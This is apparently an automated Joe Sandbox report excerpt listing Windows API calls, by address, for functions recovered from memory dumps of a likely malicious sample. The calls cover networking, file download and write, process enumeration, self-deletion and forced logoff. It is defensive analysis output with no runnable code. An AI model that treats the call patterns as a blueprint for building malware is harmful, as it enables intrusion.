      • Part of subcall function 00BBB8E5: shutdown.WS2_32(?,00000002), ref: 00BBB8ED
      • Part of subcall function 00BBB8E5: closesocket.WS2_32 ref: 00BBB8F4
      • Part of subcall function 00BBC672: WaitForMultipleObjects.KERNEL32(?,00BD29A4,00000001,000000FF), ref: 00BBC684
      • Part of subcall function 00BBC695: CloseHandle.KERNEL32(?), ref: 00BBC6A3
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042B425, Relevance: 9.2, APIs: 6, Instructions: 170
    APIs
      • Part of subcall function 0041B7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 0041B866
      • Part of subcall function 0041B7E9: WSASetLastError.WS2_32(0000274C), ref: 0041B877
    • WSAGetLastError.WS2_32(000000FF,?,000003E8,00000000,?,?,?), ref: 0042B465
    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0042B47E
    • accept.WS2_32(?,?,?), ref: 0042B4A7
      • Part of subcall function 0041B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0041B953
      • Part of subcall function 0041B8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 0041B92E
      • Part of subcall function 0041B9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 0041B9C7
    • EnterCriticalSection.KERNEL32(004345A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 0042B56F
    • SetEvent.KERNEL32(?), ref: 0042B596
    • LeaveCriticalSection.KERNEL32(004345A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 0042B59D
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0042B218: EnterCriticalSection.KERNEL32(004345A0,?,000000FF,?,0042B5CA,?,?,?,?), ref: 0042B221
      • Part of subcall function 0042B218: LeaveCriticalSection.KERNEL32(004345A0,?,000000FF,?,0042B5CA,?,?,?,?), ref: 0042B284
      • Part of subcall function 0042B218: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 0042B2B6
      • Part of subcall function 0041C62D: SetLastError.KERNEL32(0000009B,004083E2,00000000,0042026D,00000000), ref: 0041C637
      • Part of subcall function 0041C62D: CreateThread.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C65A
      • Part of subcall function 0042B2E3: EnterCriticalSection.KERNEL32(004345A0,?,?,0042B607,00000000,0042B388,?,000000FF,00000002,?,?,?,?,?), ref: 0042B2F4
      • Part of subcall function 0042B2E3: CloseHandle.KERNEL32(?), ref: 0042B330
      • Part of subcall function 0042B2E3: LeaveCriticalSection.KERNEL32(004345A0,?,?,0042B607,00000000,0042B388,?,000000FF,00000002,?,?,?,?,?), ref: 0042B37F
      • Part of subcall function 0041C5DB: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041C5FA
      • Part of subcall function 0041C5DB: CloseHandle.KERNEL32(?), ref: 0041C606
      • Part of subcall function 0041B8E5: shutdown.WS2_32(?,00000002), ref: 0041B8ED
      • Part of subcall function 0041B8E5: closesocket.WS2_32 ref: 0041B8F4
      • Part of subcall function 0041C672: WaitForMultipleObjects.KERNEL32(?,004329A4,00000001,000000FF), ref: 0041C684
      • Part of subcall function 0041C695: CloseHandle.KERNEL32(?), ref: 0041C6A3
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC4191, Relevance: 9.2, APIs: 6, Instructions: 169
    APIs
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00BC4206
    • StrStrIW.SHLWAPI(?,?), ref: 00BC429D
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00BC42C5
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 00BC42E2
    • GetPrivateProfileStringW.KERNEL32(?,000000FF,00000000,?,000000FF,?), ref: 00BC4313
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00BC4334
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00424191, Relevance: 9.2, APIs: 6, Instructions: 169
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00424206
    • StrStrIW.SHLWAPI(?,?), ref: 0042429D
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 004242C5
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 004242E2
    • GetPrivateProfileStringW.KERNEL32(?,000000FF,00000000,?,000000FF,?), ref: 00424313
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00424334
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00407F95, Relevance: 9.2, APIs: 6, Instructions: 154
    APIs
    • GetMenuState.USER32 ref: 00407F95
    • LoadAcceleratorsW.USER32 ref: 00407F9B
    • SetMapMode.GDI32 ref: 00407FA1
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00416171, Relevance: 9.1, APIs: 6, Instructions: 143
    APIs
    • GetACP.KERNEL32 ref: 00416171
    • GetSystemMetrics.USER32 ref: 00416177
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004161A5
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004162D4
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00416340
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041644A
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC3D7F, Relevance: 9.1, APIs: 6, Instructions: 142
    APIs
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00BC3DB6
    • StrStrIW.SHLWAPI(?,?), ref: 00BC3E48
    • StrStrIW.SHLWAPI(?,?), ref: 00BC3E59
    • GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00BC3E75
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00BC3E93
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00BC3EAD
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00423D7F, Relevance: 9.1, APIs: 6, Instructions: 142
    APIs
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00423DB6
    • StrStrIW.SHLWAPI(?,?), ref: 00423E48
    • StrStrIW.SHLWAPI(?,?), ref: 00423E59
    • GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00423E75
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00423E93
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00423EAD
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BA8600, Relevance: 9.1, APIs: 6, Instructions: 88
    APIs
      • Part of subcall function 00BBD8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00BBD8C8
      • Part of subcall function 00BBD8B7: CloseHandle.KERNEL32(00000001), ref: 00BBD8D6
      • Part of subcall function 00BCA297: StrCmpNIW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data,00DA1EE8), ref: 00BCA31B
      • Part of subcall function 00BCA297: lstrcmpiW.KERNEL32(E121EBEE), ref: 00BCA333
    • CreateMutexW.KERNEL32(00BD2AFC,00000001,?), ref: 00BA8663
    • CloseHandle.KERNEL32 ref: 00BA86F3
      • Part of subcall function 00BBBD28: GetLastError.KERNEL32(?,00BCAE06), ref: 00BBBD2B
      • Part of subcall function 00BBBD28: CloseHandle.KERNEL32 ref: 00BBBD39
      • Part of subcall function 00BC0477: RegOpenKeyExW.ADVAPI32(80000001,00BD3F08,00000000,00000001,?), ref: 00BC04BA
    • CloseHandle.KERNEL32(000001E6), ref: 00BA8701
      • Part of subcall function 00BA853D: SHGetFolderPathW.SHELL32(00000000,00000029,00000000,00000000,?), ref: 00BA8555
      • Part of subcall function 00BA853D: CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00BA85A7
      • Part of subcall function 00BA853D: CloseHandle.KERNEL32(?), ref: 00BA85B4
      • Part of subcall function 00BC6F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BC6F87
      • Part of subcall function 00BC6F66: Process32FirstW.KERNEL32(?,?), ref: 00BC6FB0
      • Part of subcall function 00BC6F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00BC700B
      • Part of subcall function 00BC6F66: CloseHandle.KERNEL32 ref: 00BC7028
      • Part of subcall function 00BC6F66: GetLengthSid.ADVAPI32(?,?,?,?), ref: 00BC703B
      • Part of subcall function 00BC6F66: CloseHandle.KERNEL32(?), ref: 00BC70AC
      • Part of subcall function 00BC6F66: Process32NextW.KERNEL32(?,0000022C), ref: 00BC70B8
      • Part of subcall function 00BC6F66: CloseHandle.KERNEL32(?), ref: 00BC70C9
    • ExitWindowsEx.USER32(00000014,80000000), ref: 00BA86C1
    • OpenEventW.KERNEL32(00000002,00000000,?), ref: 00BA86D9
    • SetEvent.KERNEL32 ref: 00BA86EC
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00416295, Relevance: 9.1, APIs: 6, Instructions: 86
    APIs
    • GetSubMenu.USER32 ref: 00416295
    • ReadFile.KERNEL32 ref: 0041629B
    • GetCurrentProcessId.KERNEL32 ref: 004162A1
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004162D4
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00416340
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041644A
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BCA8DC, Relevance: 9.1, APIs: 6, Instructions: 79
    APIs
      • Part of subcall function 00BA80FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00BA817A
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00BCA902
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00BCA915
      • Part of subcall function 00BC9DD0: SetEvent.KERNEL32(00BCA925), ref: 00BC9DD6
      • Part of subcall function 00BC9DD0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BC9DF0
      • Part of subcall function 00BC03CF: SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 00BC040E
      • Part of subcall function 00BC03CF: Sleep.KERNEL32(000001F4), ref: 00BC041D
      • Part of subcall function 00BC03CF: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00BC0432
      • Part of subcall function 00BC03CF: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00BC044A
      • Part of subcall function 00BC03CF: RegCloseKey.ADVAPI32(?), ref: 00BC0459
      • Part of subcall function 00BBDCBF: FindFirstFileW.KERNEL32(?,?), ref: 00BBDCF0
      • Part of subcall function 00BBDCBF: FindNextFileW.KERNEL32(?,?), ref: 00BBDD4B
      • Part of subcall function 00BBDCBF: FindClose.KERNEL32 ref: 00BBDD56
      • Part of subcall function 00BBDCBF: SetFileAttributesW.KERNEL32(?,00000080), ref: 00BBDD62
      • Part of subcall function 00BBDCBF: RemoveDirectoryW.KERNEL32(?), ref: 00BBDD69
    • SHDeleteKeyW.SHLWAPI(80000001,?), ref: 00BCA953
    • CharToOemW.USER32(?,?), ref: 00BCA96F
    • CharToOemW.USER32(?,?), ref: 00BCA97E
      • Part of subcall function 00BB8ED6: wvnsprintfA.SHLWAPI(?,0000026C,?,?), ref: 00BB8EF2
    • ExitProcess.KERNEL32(00000000), ref: 00BCA9D6
      • Part of subcall function 00BB9F62: CharToOemW.USER32(?,?), ref: 00BB9F93
      • Part of subcall function 00BB9F62: GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 00BBA00F
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042A8DC, Relevance: 9.1, APIs: 6, Instructions: 79
    APIs
      • Part of subcall function 004080FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 0042A902
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 0042A915
      • Part of subcall function 00429DD0: SetEvent.KERNEL32(0042A925), ref: 00429DD6
      • Part of subcall function 00429DD0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00429DF0
      • Part of subcall function 004203CF: SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 0042040E
      • Part of subcall function 004203CF: Sleep.KERNEL32(000001F4), ref: 0042041D
      • Part of subcall function 004203CF: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00420432
      • Part of subcall function 004203CF: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 0042044A
      • Part of subcall function 004203CF: RegCloseKey.ADVAPI32(?), ref: 00420459
      • Part of subcall function 0041DCBF: FindFirstFileW.KERNEL32(?,?), ref: 0041DCF0
      • Part of subcall function 0041DCBF: FindNextFileW.KERNEL32(?,?), ref: 0041DD4B
      • Part of subcall function 0041DCBF: FindClose.KERNEL32 ref: 0041DD56
      • Part of subcall function 0041DCBF: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041DD62
      • Part of subcall function 0041DCBF: RemoveDirectoryW.KERNEL32(?), ref: 0041DD69
    • SHDeleteKeyW.SHLWAPI(80000001,?), ref: 0042A953
    • CharToOemW.USER32(?,?), ref: 0042A96F
    • CharToOemW.USER32(?,?), ref: 0042A97E
      • Part of subcall function 00418ED6: wvnsprintfA.SHLWAPI(?,0000026C,?,?), ref: 00418EF2
    • ExitProcess.KERNEL32(00000000), ref: 0042A9D6
      • Part of subcall function 00419F62: CharToOemW.USER32(?,?), ref: 00419F93
      • Part of subcall function 00419F62: GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 0041A00F
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBA327, Relevance: 9.1, APIs: 6, Instructions: 74
    APIs
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00BBA347
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00BBA375
    • InternetReadFile.WININET(?,?,00001000,?), ref: 00BBA391
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00BBA3AC
    • FlushFileBuffers.KERNEL32 ref: 00BBA3CC
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    • CloseHandle.KERNEL32 ref: 00BBA3DF
      • Part of subcall function 00BBD955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00BBD95E
      • Part of subcall function 00BBD955: DeleteFileW.KERNEL32(?), ref: 00BBD968
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041A327, Relevance: 9.1, APIs: 6, Instructions: 74
    APIs
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0041A347
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 0041A375
    • InternetReadFile.WININET(?,?,00001000,?), ref: 0041A391
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0041A3AC
    • FlushFileBuffers.KERNEL32 ref: 0041A3CC
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • CloseHandle.KERNEL32 ref: 0041A3DF
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBCC75, Relevance: 9.1, APIs: 6, Instructions: 72
    APIs
    • WindowFromPoint.USER32(?,?), ref: 00BBCC91
    • SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 00BBCCC2
    • GetWindowLongW.USER32(?,000000F0), ref: 00BBCCE6
    • SetWindowLongW.USER32(?,000000F0), ref: 00BBCCF7
    • GetWindowLongW.USER32(00000002,000000F0), ref: 00BBCD14
    • SetWindowLongW.USER32(?,000000F0), ref: 00BBCD22
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041CC75, Relevance: 9.1, APIs: 6, Instructions: 72
    APIs
    • WindowFromPoint.USER32(?,?), ref: 0041CC91
    • SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 0041CCC2
    • GetWindowLongW.USER32(?,000000F0), ref: 0041CCE6
    • SetWindowLongW.USER32(?,000000F0), ref: 0041CCF7
    • GetWindowLongW.USER32(00000002,000000F0), ref: 0041CD14
    • SetWindowLongW.USER32(?,000000F0), ref: 0041CD22
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBD80F, Relevance: 9.1, APIs: 6, Instructions: 68
    APIs
    • CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 00BBD834
    • GetFileSizeEx.KERNEL32(?,00000000), ref: 00BBD847
    • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00BBD86F
    • ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 00BBD887
    • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00BBD8A1
    • CloseHandle.KERNEL32(00000001), ref: 00BBD8AA
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004283EA, Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 63
    APIs
    • EnterCriticalSection.KERNEL32(00434170,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428407
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • LeaveCriticalSection.KERNEL32(00434170,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428428
    • EnterCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428439
      • Part of subcall function 004180EB: HeapAlloc.KERNEL32(00000008,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?,?), ref: 0041810D
      • Part of subcall function 004180EB: HeapReAlloc.KERNEL32(00000008,?,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?), ref: 0041811E
    • LeaveCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 004284C1
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BA924C, Relevance: 9.1, APIs: 6, Instructions: 57
    APIs
    • InterlockedExchange.KERNEL32(00BD3060,00000000,7C80AE40), ref: 00BA9261
    • InterlockedExchange.KERNEL32(00BD3040,00000000), ref: 00BA926A
    • InitializeCriticalSection.KERNEL32(00BD3018), ref: 00BA9271
    • GetProcAddress.KERNEL32(?,?), ref: 00BA92D1
    • GetProcAddress.KERNEL32(?), ref: 00BA92E2
    • GetProcAddress.KERNEL32(?), ref: 00BA92F2
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040924C, Relevance: 9.1, APIs: 6, Instructions: 57
    APIs
    • InterlockedExchange.KERNEL32(00433060,00000000,7C80AE40), ref: 00409261
    • InterlockedExchange.KERNEL32(00433040,00000000), ref: 0040926A
    • InitializeCriticalSection.KERNEL32(00433018), ref: 00409271
    • GetProcAddress.KERNEL32(?,?), ref: 004092D1
    • GetProcAddress.KERNEL32(?), ref: 004092E2
    • GetProcAddress.KERNEL32(?), ref: 004092F2
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BB4962, Relevance: 9.1, APIs: 6, Instructions: 54
    APIs
    • GetUpdateRgn.USER32(?,?,?), ref: 00BB49EA
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • TlsGetValue.KERNEL32 ref: 00BB4982
    • SetRectRgn.GDI32(?,?,?,?,?), ref: 00BB49A2
    • SaveDC.GDI32(?), ref: 00BB49B2
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00BB49C2
    • RestoreDC.GDI32(?), ref: 00BB49D4
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00414962, Relevance: 9.1, APIs: 6, Instructions: 54
    APIs
